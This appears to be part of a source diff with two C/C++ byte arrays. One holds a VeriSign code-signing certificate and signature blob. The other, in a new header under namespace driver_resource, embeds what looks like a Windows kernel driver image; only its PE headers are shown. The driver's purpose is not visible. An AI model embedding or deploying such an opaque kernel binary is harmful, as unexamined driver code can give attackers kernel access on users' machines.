0x30, 0x36, 0x20, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x2C, 0x20, 0x49, 0x6E, 0x63, 0x2E, 0x20, 0x2D, 0x20,
0x46, 0x6F, 0x72, 0x20, 0x61, 0x75, 0x74, 0x68, 0x6F, 0x72, 0x69, 0x7A, 0x65, 0x64, 0x20, 0x75, 0x73, 0x65, 0x20, 0x6F,
0x6E, 0x6C, 0x79, 0x31, 0x45, 0x30, 0x43, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x3C, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69,
0x67, 0x6E, 0x20, 0x43, 0x6C, 0x61, 0x73, 0x73, 0x20, 0x33, 0x20, 0x50, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x50, 0x72,
0x69, 0x6D, 0x61, 0x72, 0x79, 0x20, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x20,
0x41, 0x75, 0x74, 0x68, 0x6F, 0x72, 0x69, 0x74, 0x79, 0x20, 0x2D, 0x20, 0x47, 0x35, 0x30, 0x1E, 0x17, 0x0D, 0x31, 0x30,
0x30, 0x32, 0x30, 0x38, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5A, 0x17, 0x0D, 0x32, 0x30, 0x30, 0x32, 0x30, 0x37, 0x32,
0x33, 0x35, 0x39, 0x35, 0x39, 0x5A, 0x30, 0x81, 0xB4, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02,
0x55, 0x53, 0x31, 0x17, 0x30, 0x15, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x0E, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67,
0x6E, 0x2C, 0x20, 0x49, 0x6E, 0x63, 0x2E, 0x31, 0x1F, 0x30, 0x1D, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x16, 0x56, 0x65,
0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x20, 0x54, 0x72, 0x75, 0x73, 0x74, 0x20, 0x4E, 0x65, 0x74, 0x77, 0x6F, 0x72, 0x6B,
0x31, 0x3B, 0x30, 0x39, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x32, 0x54, 0x65, 0x72, 0x6D, 0x73, 0x20, 0x6F, 0x66, 0x20,
0x75, 0x73, 0x65, 0x20, 0x61, 0x74, 0x20, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3A, 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x76,
0x65, 0x72, 0x69, 0x73, 0x69, 0x67, 0x6E, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x72, 0x70, 0x61, 0x20, 0x28, 0x63, 0x29, 0x31,
0x30, 0x31, 0x2E, 0x30, 0x2C, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x25, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E,
0x20, 0x43, 0x6C, 0x61, 0x73, 0x73, 0x20, 0x33, 0x20, 0x43, 0x6F, 0x64, 0x65, 0x20, 0x53, 0x69, 0x67, 0x6E, 0x69, 0x6E,
0x67, 0x20, 0x32, 0x30, 0x31, 0x30, 0x20, 0x43, 0x41, 0x30, 0x82, 0x01, 0x22, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48,
0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, 0x01, 0x0F, 0x00, 0x30, 0x82, 0x01, 0x0A, 0x02, 0x82, 0x01,
0x01, 0x00, 0xF5, 0x23, 0x4B, 0x5E, 0xA5, 0xD7, 0x8A, 0xBB, 0x32, 0xE9, 0xD4, 0x57, 0xF7, 0xEF, 0xE4, 0xC7, 0x26, 0x7E,
0xAD, 0x19, 0x98, 0xFE, 0xA8, 0x9D, 0x7D, 0x94, 0xF6, 0x36, 0x6B, 0x10, 0xD7, 0x75, 0x81, 0x30, 0x7F, 0x04, 0x68, 0x7F,
0xCB, 0x2B, 0x75, 0x1E, 0xCD, 0x1D, 0x08, 0x8C, 0xDF, 0x69, 0x94, 0xA7, 0x37, 0xA3, 0x9C, 0x7B, 0x80, 0xE0, 0x99, 0xE1,
0xEE, 0x37, 0x4D, 0x5F, 0xCE, 0x3B, 0x14, 0xEE, 0x86, 0xD4, 0xD0, 0xF5, 0x27, 0x35, 0xBC, 0x25, 0x0B, 0x38, 0xA7, 0x8C,
0x63, 0x9D, 0x17, 0xA3, 0x08, 0xA5, 0xAB, 0xB0, 0xFB, 0xCD, 0x6A, 0x62, 0x82, 0x4C, 0xD5, 0x21, 0xDA, 0x1B, 0xD9, 0xF1,
0xE3, 0x84, 0x3B, 0x8A, 0x2A, 0x4F, 0x85, 0x5B, 0x90, 0x01, 0x4F, 0xC9, 0xA7, 0x76, 0x10, 0x7F, 0x27, 0x03, 0x7C, 0xBE,
0xAE, 0x7E, 0x7D, 0xC1, 0xDD, 0xF9, 0x05, 0xBC, 0x1B, 0x48, 0x9C, 0x69, 0xE7, 0xC0, 0xA4, 0x3C, 0x3C, 0x41, 0x00, 0x3E,
0xDF, 0x96, 0xE5, 0xC5, 0xE4, 0x94, 0x71, 0xD6, 0x55, 0x01, 0xC7, 0x00, 0x26, 0x4A, 0x40, 0x3C, 0xB5, 0xA1, 0x26, 0xA9,
0x0C, 0xA7, 0x6D, 0x80, 0x8E, 0x90, 0x25, 0x7B, 0xCF, 0xBF, 0x3F, 0x1C, 0xEB, 0x2F, 0x96, 0xFA, 0xE5, 0x87, 0x77, 0xC6,
0xB5, 0x56, 0xB2, 0x7A, 0x3B, 0x54, 0x30, 0x53, 0x1B, 0xDF, 0x62, 0x34, 0xFF, 0x1E, 0xD1, 0xF4, 0x5A, 0x93, 0x28, 0x85,
0xE5, 0x4C, 0x17, 0x4E, 0x7E, 0x5B, 0xFD, 0xA4, 0x93, 0x99, 0x7F, 0xDF, 0xCD, 0xEF, 0xA4, 0x75, 0xEF, 0xEF, 0x15, 0xF6,
0x47, 0xE7, 0xF8, 0x19, 0x72, 0xD8, 0x2E, 0x34, 0x1A, 0xA6, 0xB4, 0xA7, 0x4C, 0x7E, 0xBD, 0xBB, 0x4F, 0x0C, 0x3D, 0x57,
0xF1, 0x30, 0xD6, 0xA6, 0x36, 0x8E, 0xD6, 0x80, 0x76, 0xD7, 0x19, 0x2E, 0xA5, 0xCD, 0x7E, 0x34, 0x2D, 0x89, 0x02, 0x03,
0x01, 0x00, 0x01, 0xA3, 0x82, 0x01, 0xFE, 0x30, 0x82, 0x01, 0xFA, 0x30, 0x12, 0x06, 0x03, 0x55, 0x1D, 0x13, 0x01, 0x01,
0xFF, 0x04, 0x08, 0x30, 0x06, 0x01, 0x01, 0xFF, 0x02, 0x01, 0x00, 0x30, 0x70, 0x06, 0x03, 0x55, 0x1D, 0x20, 0x04, 0x69,
0x30, 0x67, 0x30, 0x65, 0x06, 0x0B, 0x60, 0x86, 0x48, 0x01, 0x86, 0xF8, 0x45, 0x01, 0x07, 0x17, 0x03, 0x30, 0x56, 0x30,
0x28, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x02, 0x01, 0x16, 0x1C, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3A, 0x2F,
0x2F, 0x77, 0x77, 0x77, 0x2E, 0x76, 0x65, 0x72, 0x69, 0x73, 0x69, 0x67, 0x6E, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x63, 0x70,
0x73, 0x30, 0x2A, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x02, 0x02, 0x30, 0x1E, 0x1A, 0x1C, 0x68, 0x74, 0x74,
0x70, 0x73, 0x3A, 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x76, 0x65, 0x72, 0x69, 0x73, 0x69, 0x67, 0x6E, 0x2E, 0x63, 0x6F,
0x6D, 0x2F, 0x72, 0x70, 0x61, 0x30, 0x0E, 0x06, 0x03, 0x55, 0x1D, 0x0F, 0x01, 0x01, 0xFF, 0x04, 0x04, 0x03, 0x02, 0x01,
0x06, 0x30, 0x6D, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x01, 0x0C, 0x04, 0x61, 0x30, 0x5F, 0xA1, 0x5D, 0xA0,
0x5B, 0x30, 0x59, 0x30, 0x57, 0x30, 0x55, 0x16, 0x09, 0x69, 0x6D, 0x61, 0x67, 0x65, 0x2F, 0x67, 0x69, 0x66, 0x30, 0x21,
0x30, 0x1F, 0x30, 0x07, 0x06, 0x05, 0x2B, 0x0E, 0x03, 0x02, 0x1A, 0x04, 0x14, 0x8F, 0xE5, 0xD3, 0x1A, 0x86, 0xAC, 0x8D,
0x8E, 0x6B, 0xC3, 0xCF, 0x80, 0x6A, 0xD4, 0x48, 0x18, 0x2C, 0x7B, 0x19, 0x2E, 0x30, 0x25, 0x16, 0x23, 0x68, 0x74, 0x74,
0x70, 0x3A, 0x2F, 0x2F, 0x6C, 0x6F, 0x67, 0x6F, 0x2E, 0x76, 0x65, 0x72, 0x69, 0x73, 0x69, 0x67, 0x6E, 0x2E, 0x63, 0x6F,
0x6D, 0x2F, 0x76, 0x73, 0x6C, 0x6F, 0x67, 0x6F, 0x2E, 0x67, 0x69, 0x66, 0x30, 0x34, 0x06, 0x03, 0x55, 0x1D, 0x1F, 0x04,
0x2D, 0x30, 0x2B, 0x30, 0x29, 0xA0, 0x27, 0xA0, 0x25, 0x86, 0x23, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x63, 0x72,
0x6C, 0x2E, 0x76, 0x65, 0x72, 0x69, 0x73, 0x69, 0x67, 0x6E, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x70, 0x63, 0x61, 0x33, 0x2D,
0x67, 0x35, 0x2E, 0x63, 0x72, 0x6C, 0x30, 0x34, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x01, 0x01, 0x04, 0x28,
0x30, 0x26, 0x30, 0x24, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x30, 0x01, 0x86, 0x18, 0x68, 0x74, 0x74, 0x70,
0x3A, 0x2F, 0x2F, 0x6F, 0x63, 0x73, 0x70, 0x2E, 0x76, 0x65, 0x72, 0x69, 0x73, 0x69, 0x67, 0x6E, 0x2E, 0x63, 0x6F, 0x6D,
0x30, 0x1D, 0x06, 0x03, 0x55, 0x1D, 0x25, 0x04, 0x16, 0x30, 0x14, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x03,
0x02, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x03, 0x03, 0x30, 0x28, 0x06, 0x03, 0x55, 0x1D, 0x11, 0x04, 0x21,
0x30, 0x1F, 0xA4, 0x1D, 0x30, 0x1B, 0x31, 0x19, 0x30, 0x17, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x10, 0x56, 0x65, 0x72,
0x69, 0x53, 0x69, 0x67, 0x6E, 0x4D, 0x50, 0x4B, 0x49, 0x2D, 0x32, 0x2D, 0x38, 0x30, 0x1D, 0x06, 0x03, 0x55, 0x1D, 0x0E,
0x04, 0x16, 0x04, 0x14, 0xCF, 0x99, 0xA9, 0xEA, 0x7B, 0x26, 0xF4, 0x4B, 0xC9, 0x8E, 0x8F, 0xD7, 0xF0, 0x05, 0x26, 0xEF,
0xE3, 0xD2, 0xA7, 0x9D, 0x30, 0x1F, 0x06, 0x03, 0x55, 0x1D, 0x23, 0x04, 0x18, 0x30, 0x16, 0x80, 0x14, 0x7F, 0xD3, 0x65,
0xA7, 0xC2, 0xDD, 0xEC, 0xBB, 0xF0, 0x30, 0x09, 0xF3, 0x43, 0x39, 0xFA, 0x02, 0xAF, 0x33, 0x31, 0x33, 0x30, 0x0D, 0x06,
0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x05, 0x05, 0x00, 0x03, 0x82, 0x01, 0x01, 0x00, 0x56, 0x22, 0xE6,
0x34, 0xA4, 0xC4, 0x61, 0xCB, 0x48, 0xB9, 0x01, 0xAD, 0x56, 0xA8, 0x64, 0x0F, 0xD9, 0x8C, 0x91, 0xC4, 0xBB, 0xCC, 0x0C,
0xE5, 0xAD, 0x7A, 0xA0, 0x22, 0x7F, 0xDF, 0x47, 0x38, 0x4A, 0x2D, 0x6C, 0xD1, 0x7F, 0x71, 0x1A, 0x7C, 0xEC, 0x70, 0xA9,
0xB1, 0xF0, 0x4F, 0xE4, 0x0F, 0x0C, 0x53, 0xFA, 0x15, 0x5E, 0xFE, 0x74, 0x98, 0x49, 0x24, 0x85, 0x81, 0x26, 0x1C, 0x91,
0x14, 0x47, 0xB0, 0x4C, 0x63, 0x8C, 0xBB, 0xA1, 0x34, 0xD4, 0xC6, 0x45, 0xE8, 0x0D, 0x85, 0x26, 0x73, 0x03, 0xD0, 0xA9,
0x8C, 0x64, 0x6D, 0xDC, 0x71, 0x92, 0xE6, 0x45, 0x05, 0x60, 0x15, 0x59, 0x51, 0x39, 0xFC, 0x58, 0x14, 0x6B, 0xFE, 0xD4,
0xA4, 0xED, 0x79, 0x6B, 0x08, 0x0C, 0x41, 0x72, 0xE7, 0x37, 0x22, 0x06, 0x09, 0xBE, 0x23, 0xE9, 0x3F, 0x44, 0x9A, 0x1E,
0xE9, 0x61, 0x9D, 0xCC, 0xB1, 0x90, 0x5C, 0xFC, 0x3D, 0xD2, 0x8D, 0xAC, 0x42, 0x3D, 0x65, 0x36, 0xD4, 0xB4, 0x3D, 0x40,
0x28, 0x8F, 0x9B, 0x10, 0xCF, 0x23, 0x26, 0xCC, 0x4B, 0x20, 0xCB, 0x90, 0x1F, 0x5D, 0x8C, 0x4C, 0x34, 0xCA, 0x3C, 0xD8,
0xE5, 0x37, 0xD6, 0x6F, 0xA5, 0x20, 0xBD, 0x34, 0xEB, 0x26, 0xD9, 0xAE, 0x0D, 0xE7, 0xC5, 0x9A, 0xF7, 0xA1, 0xB4, 0x21,
0x91, 0x33, 0x6F, 0x86, 0xE8, 0x58, 0xBB, 0x25, 0x7C, 0x74, 0x0E, 0x58, 0xFE, 0x75, 0x1B, 0x63, 0x3F, 0xCE, 0x31, 0x7C,
0x9B, 0x8F, 0x1B, 0x96, 0x9E, 0xC5, 0x53, 0x76, 0x84, 0x5B, 0x9C, 0xAD, 0x91, 0xFA, 0xAC, 0xED, 0x93, 0xBA, 0x5D, 0xC8,
0x21, 0x53, 0xC2, 0x82, 0x53, 0x63, 0xAF, 0x12, 0x0D, 0x50, 0x87, 0x11, 0x1B, 0x3D, 0x54, 0x52, 0x96, 0x8A, 0x2C, 0x9C,
0x3D, 0x92, 0x1A, 0x08, 0x9A, 0x05, 0x2E, 0xC7, 0x93, 0xA5, 0x48, 0x91, 0xD3, 0x31, 0x82, 0x02, 0x63, 0x30, 0x82, 0x02,
0x5F, 0x02, 0x01, 0x01, 0x30, 0x81, 0xC9, 0x30, 0x81, 0xB4, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13,
0x02, 0x55, 0x53, 0x31, 0x17, 0x30, 0x15, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x0E, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69,
0x67, 0x6E, 0x2C, 0x20, 0x49, 0x6E, 0x63, 0x2E, 0x31, 0x1F, 0x30, 0x1D, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x16, 0x56,
0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x20, 0x54, 0x72, 0x75, 0x73, 0x74, 0x20, 0x4E, 0x65, 0x74, 0x77, 0x6F, 0x72,
0x6B, 0x31, 0x3B, 0x30, 0x39, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x32, 0x54, 0x65, 0x72, 0x6D, 0x73, 0x20, 0x6F, 0x66,
0x20, 0x75, 0x73, 0x65, 0x20, 0x61, 0x74, 0x20, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3A, 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E,
0x76, 0x65, 0x72, 0x69, 0x73, 0x69, 0x67, 0x6E, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x72, 0x70, 0x61, 0x20, 0x28, 0x63, 0x29,
0x31, 0x30, 0x31, 0x2E, 0x30, 0x2C, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x25, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67,
0x6E, 0x20, 0x43, 0x6C, 0x61, 0x73, 0x73, 0x20, 0x33, 0x20, 0x43, 0x6F, 0x64, 0x65, 0x20, 0x53, 0x69, 0x67, 0x6E, 0x69,
0x6E, 0x67, 0x20, 0x32, 0x30, 0x31, 0x30, 0x20, 0x43, 0x41, 0x02, 0x10, 0x0C, 0xEA, 0x5C, 0x41, 0xB4, 0xB3, 0x56, 0x60,
0xB8, 0x83, 0xBA, 0x06, 0xDE, 0xF5, 0xA0, 0x53, 0x30, 0x09, 0x06, 0x05, 0x2B, 0x0E, 0x03, 0x02, 0x1A, 0x05, 0x00, 0xA0,
0x70, 0x30, 0x10, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x0C, 0x31, 0x02, 0x30, 0x00, 0x30,
0x19, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x03, 0x31, 0x0C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04,
0x01, 0x82, 0x37, 0x02, 0x01, 0x04, 0x30, 0x1C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x0B,
0x31, 0x0E, 0x30, 0x0C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x15, 0x30, 0x23, 0x06, 0x09,
0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x04, 0x31, 0x16, 0x04, 0x14, 0x07, 0x1B, 0xE4, 0xEC, 0xB0, 0x92, 0xF5,
0xFA, 0xD7, 0xA5, 0x0A, 0x81, 0xF3, 0x87, 0x3E, 0xEA, 0x71, 0x96, 0xD5, 0x88, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48,
0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x04, 0x82, 0x01, 0x00, 0x08, 0xB8, 0xA8, 0x34, 0xD2, 0x43, 0xC5, 0x19,
0xE2, 0x38, 0xF3, 0xB3, 0x78, 0xB3, 0x9B, 0x4D, 0x1A, 0xAF, 0x48, 0xDB, 0x1F, 0xC2, 0xE9, 0x47, 0x68, 0x20, 0xE5, 0x78,
0xBD, 0x6A, 0xED, 0x39, 0x50, 0xCB, 0x7A, 0xD9, 0x76, 0x82, 0x1E, 0x8D, 0x0B, 0x83, 0x2C, 0x57, 0xCE, 0xD2, 0xDB, 0x18,
0xAD, 0x2E, 0x86, 0x11, 0x8F, 0x97, 0x96, 0x12, 0xD4, 0x0A, 0x5C, 0x89, 0xA4, 0x47, 0x4B, 0x68, 0x31, 0xF9, 0x66, 0xE8,
0xC5, 0x1E, 0xF0, 0xA3, 0xDD, 0x7C, 0x72, 0xA2, 0xE6, 0xB4, 0x28, 0xB1, 0xEB, 0xEC, 0x64, 0x08, 0x55, 0x6B, 0x39, 0x43,
0xEB, 0x55, 0x7F, 0x58, 0x9D, 0x98, 0xBD, 0x95, 0x68, 0xEC, 0xB6, 0x33, 0x57, 0xE4, 0x5C, 0x11, 0xFF, 0x61, 0x92, 0xE6,
0xE4, 0x9D, 0x40, 0x1D, 0x39, 0x46, 0x86, 0xDD, 0x2B, 0xCF, 0xA6, 0x88, 0xE5, 0xFE, 0x40, 0xF5, 0xDD, 0xB3, 0x33, 0xAE,
0x15, 0xE3, 0x00, 0x66, 0x26, 0x3F, 0x25, 0x0E, 0xD5, 0xC8, 0xB6, 0xEB, 0xA4, 0x70, 0x8A, 0xBD, 0xE2, 0x7E, 0xEA, 0x0E,
0x69, 0x77, 0xC3, 0xEB, 0xA1, 0xAD, 0x83, 0xD0, 0x9A, 0xC7, 0x81, 0x11, 0x06, 0x08, 0x51, 0x19, 0x7C, 0xD9, 0xAE, 0x36,
0xEE, 0xED, 0x0F, 0x2B, 0x88, 0x95, 0x48, 0x7F, 0xBE, 0xD1, 0x07, 0xF2, 0x42, 0x26, 0x8A, 0x0C, 0x6F, 0xCF, 0x6D, 0x2F,
0x50, 0x86, 0x3C, 0xBB, 0xBC, 0x9D, 0xC6, 0x8F, 0xC0, 0x02, 0x40, 0x46, 0xC2, 0x44, 0x72, 0x28, 0xF8, 0xEC, 0x11, 0x62,
0x54, 0xD8, 0xA3, 0x29, 0xCE, 0xE6, 0x7F, 0xE5, 0x86, 0xA2, 0x2F, 0x1D, 0x99, 0xCE, 0xE1, 0xB4, 0x94, 0xE5, 0xB7, 0xC7,
0x91, 0xA2, 0x2C, 0x2C, 0x76, 0x97, 0x01, 0x1F, 0xDE, 0x8B, 0x8E, 0xC0, 0x19, 0x27, 0xE2, 0xAC, 0x0B, 0x1E, 0x82, 0x5A,
0x61, 0x9F, 0x56, 0x3B, 0xB0, 0x76, 0x9D, 0xF2,
};
+906
View File
@@ -0,0 +1,906 @@
#pragma once
#include <stdint.h>
namespace driver_resource {
static unsigned char sys_code[0x45f8] =
{ 0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xE0, 0x00, 0x00, 0x00, 0x0E, 0x1F, 0xBA, 0x0E, 0x00, 0xB4, 0x09, 0xCD, 0x21, 0xB8, 0x01, 0x4C, 0xCD, 0x21, 0x54, 0x68,
0x69, 0x73, 0x20, 0x70, 0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x20, 0x63, 0x61, 0x6E, 0x6E, 0x6F, 0x74, 0x20, 0x62, 0x65,
0x20, 0x72, 0x75, 0x6E, 0x20, 0x69, 0x6E, 0x20, 0x44, 0x4F, 0x53, 0x20, 0x6D, 0x6F, 0x64, 0x65, 0x2E, 0x0D, 0x0D, 0x0A,
0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xEE, 0x79, 0xEE, 0x0E, 0x8F, 0x17, 0xBD, 0x0E, 0x8F, 0x17, 0xBD,
0x0E, 0x8F, 0x17, 0xBD, 0x7A, 0x0E, 0x16, 0xBC, 0x0D, 0x8F, 0x17, 0xBD, 0x0E, 0x8F, 0x16, 0xBD, 0x1E, 0x8F, 0x17, 0xBD,
0x7A, 0x0E, 0x14, 0xBC, 0x0D, 0x8F, 0x17, 0xBD, 0x7A, 0x0E, 0x13, 0xBC, 0x0B, 0x8F, 0x17, 0xBD, 0x45, 0x0A, 0x12, 0xBC,
0x0F, 0x8F, 0x17, 0xBD, 0x45, 0x0A, 0x15, 0xBC, 0x0F, 0x8F, 0x17, 0xBD, 0x52, 0x69, 0x63, 0x68, 0x0E, 0x8F, 0x17, 0xBD,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x50, 0x45, 0x00, 0x00, 0x64, 0x86, 0x06, 0x00, 0x39, 0x97, 0xA4, 0x68, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xF0, 0x00, 0x22, 0x00, 0x0B, 0x02, 0x0E, 0x29, 0x00, 0x0C, 0x00, 0x00, 0x00, 0x0C, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x62, 0xCF, 0x00, 0x00, 0x01, 0x00, 0x60, 0x41,
0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5C, 0x50, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x00, 0x00, 0xF8, 0x29, 0x00, 0x00,
0x00, 0x60, 0x00, 0x00, 0x24, 0x00, 0x00, 0x00, 0x10, 0x22, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xD0, 0x20, 0x00, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00,
0x88, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, 0x46, 0x06, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x68, 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0xB8, 0x04, 0x00, 0x00,
0x00, 0x20, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x48, 0x2E, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00,
0x00, 0x30, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0xC8, 0x2E, 0x70, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x6C, 0x00, 0x00, 0x00,
0x00, 0x40, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x48, 0x49, 0x4E, 0x49, 0x54, 0x00, 0x00, 0x00, 0x00, 0x6A, 0x02, 0x00, 0x00,
0x00, 0x50, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x62, 0x2E, 0x72, 0x65, 0x6C, 0x6F, 0x63, 0x00, 0x00, 0x24, 0x00, 0x00, 0x00,
0x00, 0x60, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x1A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
